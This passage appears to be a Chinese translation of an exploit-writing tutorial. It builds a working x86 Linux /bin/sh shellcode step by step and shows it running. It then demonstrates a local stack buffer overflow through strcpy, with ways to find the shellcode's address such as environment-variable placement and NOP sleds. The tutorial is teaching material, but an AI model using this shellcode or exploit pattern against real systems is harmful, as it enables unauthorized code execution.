我们需要的全部就是这么多了。然而，这里还有一些问题。我们不能准确地知道NULL结束数组和”/bin/sh”字符串的地址。那么，这个怎么样？：

xorl %eax, %eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,%ebx
pushl %eax
pushl %ebx
movl %esp,%ecx
cdql
movb $0x0b,%al
int $0x80

让我解释一下上面的指令：

如果你进行自身异或，你得到0，等同于NULL。这里，我们在EAX寄存器中得到一个NULL。

xorl %eax, %eax

接着我们把NULL推入堆栈：

pushl %eax

我们把字符串”//sh”推入堆栈，

2f is /
2f is /
73 is s
68 is h

pushl $0x68732f2f

我们把字符串”/bin”推入堆栈：

2f is /
62 is b
69 is i
6e is n

pushl $0x6e69622f

可以猜想，现在堆栈指针地址就象我们的NULL结尾字符串”/bin/sh”的地址。因为，从指向栈顶的指针开始，我们有了一个NULL结尾的字符串数组。因此，我们拷贝堆栈指针到EBX寄存器。这样，我们就已经把”/bin/sh”的地址放到EBX寄存器中了。

movl %esp,%ebx

接着我们需要用NULL结尾的数组地址设置ECX。为此，我们在我们的堆栈中创造了一个NULL结尾的数组，与上面那个很像：首先我们PUSH一个NULL。我们不能PUSH NULL，但是我们能PUSH值为NULL的东西，回顾我们异或EAX寄存器在那我们得到了NULL，因此让我们PUSH EAX来在堆栈中得到一个NULL。

pushl %eax

接着，我们PUSH我们的字符串的地址到堆栈，这等同于shell[0]：

pushl %ebx

现在我们有一个NULL结尾数组的指针，我们能够在ECX中保存它的地址：

movl %esp,%ecx

我们还需要其它什么呢？一个在EDX寄存器中的NULL。我们能movl %eax, %edx，但是我们能用一个短的指令完成这个操作：cdq。这个指令是把EAX中的符号位扩展到EDX。：

cdql

我们设定EAX 为0xb，这是系统调用表中的系统调用id。

movb $0x0b,%al

接着，我们转换到核模式：

int 0x80

之后，我们进到核模式，内核将调用exec函数执行我们指示给它的：/bin/sh 这样我们将进入一个交互shell……

因此，在讲了这么多以后，我们所要做的全部就是把这些汇编指令转换到一个字符串中。因此，让我们得到这些十六进制运赛码然后汇编我们的攻击代码：

sc.c :
char newsc[]= /* 24 bytes */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

main()
{
}
[murat@victim newsc]$ gcc -g -o sc sc.c
[murat@victim newsc]$ objdump -D sc | grep \<newsc\> -A13
080494b0 <sc>:
80494b0: 31 c0 xorl %eax,%eax
80494b2: 50 pushl %eax
80494b3: 68 2f 2f 73 68 pushl $0x68732f2f
80494b8: 68 2f 62 69 6e pushl $0x6e69622f
80494bd: 89 e3 movl %esp,%ebx
80494bf: 50 pushl %eax
80494c0: 53 pushl %ebx
80494c1: 89 e1 movl %esp,%ecx
80494c3: 99 cltd
80494c4: b0 0b movb $0xb,%al
80494c6: cd 80 int $0x80
80494c8: 00 00 addb %al,(%eax)
...
[murat@victim newsc]$

在上面的图中，第一行是指令内存地址，接下面的行是汇编指令的运算码，这也是我们兴趣所在，而最后一行是与运算码相关的汇编指令。

那么，这里就是完整的shell代码：

"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */

最后测试我们的shell代码：

shellcode.c :
char sc[]= /* 24 bytes */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

main()
{
int *ret;

ret = (int *)&ret + 2;
*ret = sc;
}
[murat@victim newsc]$ gcc -g -o shellcode shellcode.c
[murat@victim newsc]$ ./shellcode
bash$

嗯，它生效了。上面我们所做的是，增加ret的地址2个双字(8字节)，因而就到了main()的返回地址存储的内存位置。接着，因为ret相应的地址现在是RET，我们把字符串sc(就是我们的攻击代码)的地址存到ret。实际上，我们在这里改变了返回地址的值，而这个返回地址就指向了sc[]。当main()发送RET时，sc的地址写到EIP中了，接着，CPU开始在这执行指令，造成了/bin/sh的执行。

写本地缓冲区溢出漏洞利用程序

现在，让我们看看下面的程序：

victim.c :
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char large_str[50];

void main()
{
int i;
char foo[12];

int *ap = (int *)large_str;

for (i = 0; i < 50; i += 4)
*ap++ = sc;
strcpy(foo, large_str);
}
[murat@victim newsc]$ make victim
cc victim.c -o victim
[murat@victim newsc]$ ./victim
bash$

瞧!就是它了!我们做了什么？在for循环里面，我们拷贝了我们的shellcode字符串的地址。由于地址是32位(4字节)，我们以4为步长增加i。接着，在main()里，当我们把有我们shellcode地址的large_str拷到实际只能容纳12字节的foo,strcpy没有边界检查，而且一直拷贝到main的返回地址。接着，当strcpy指令发送到RET，我们shellcode的地址已经被POP进去了，而且放入了EIP。接着它就被执行了。这里有一件事是：strcpy没有溢出它的缓冲区，它溢出了main()的缓冲区，因此覆盖了main()的返回地址。我们的shell在main()返回的时候开始，而不是strcpy返回的时候。

上面的victim.c是我们的程序。我们知道我们的shellcode跳转的地址。如果我们要求利用另外程序的缓冲区又该如何去做呢？我们不能预先知道内存的布局，不是吗？这也意味着我们不知道我们的shellcode的地址。我们现在该怎么做呢？首先，我们必须用某些途径把shellcode植入到有弱点的程序，而且无论怎样我们必须得到shellcode的地址。当我们谈论本地漏洞利用时，有两种方法。

1．如Aleph1的著名文章”Smashing the Stack for Fun and Profit”所介绍的，我们把我们的shellcode放置到有缺陷程序的缓冲区，而且尝试着猜测到我们漏洞利用程序的ESP偏移量。2.这第二个方式更加简单和聪明。通过这种方法，我们能知道我们shellcode的地址!这真是太好了!怎么做？看这个：如果你在一个linux ELF二进制文件第一次装入内存的时候通过gdb看它的高位地址，你将看到象这样的一些东西：

--------------------- 0xBFFFFFFF
|\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)
|\000 ...... | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................| ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
| . |
| . |
| . |

看上面的图，我们都会同意我们能计算最后一个环境变量地址。它是：

envp = 0xBFFFFFFF -
4 - (4 NULL bytes)
strlen(program_name) - (program_names's length - without the leading NULL).
1 - (NULL which strlen did not count above)
strlen(envp[n])) (the length of last environment string)

除去一些不必要的计算，这里是最终的结果：

envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])

你还记得我们给execve提供一个环境指针吗？这有没有让你想起什么？对了，我们可以通过这个环境指针把我们的shellcode传给漏洞程序，并且计算它的地址。这意味着我们完全知道我们需要写什么地址到漏洞缓冲区。

计算我们的shellcode 地址的公式：

ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);

至于Aleph1在他的文章中讨论的在外面被广泛使用的方法，多少有点比我们的环境变量技术难得多。关于细节你们可以看Aleph1的文章，Smashing the Stack for Fun and Profit。

一般来说，在这个方法中，我们把”NOP”指令(NOP)放在缓冲区的开始。NOP之后，我们放置我们的shellcode，接着是这个shellcode的地址。

如我前面所说的，既然我们不知道我们shellcode的准确地址，我们在缓冲区开头填一些NOP指令增加我们跳到我们的shellcode附近一些位置的可能性。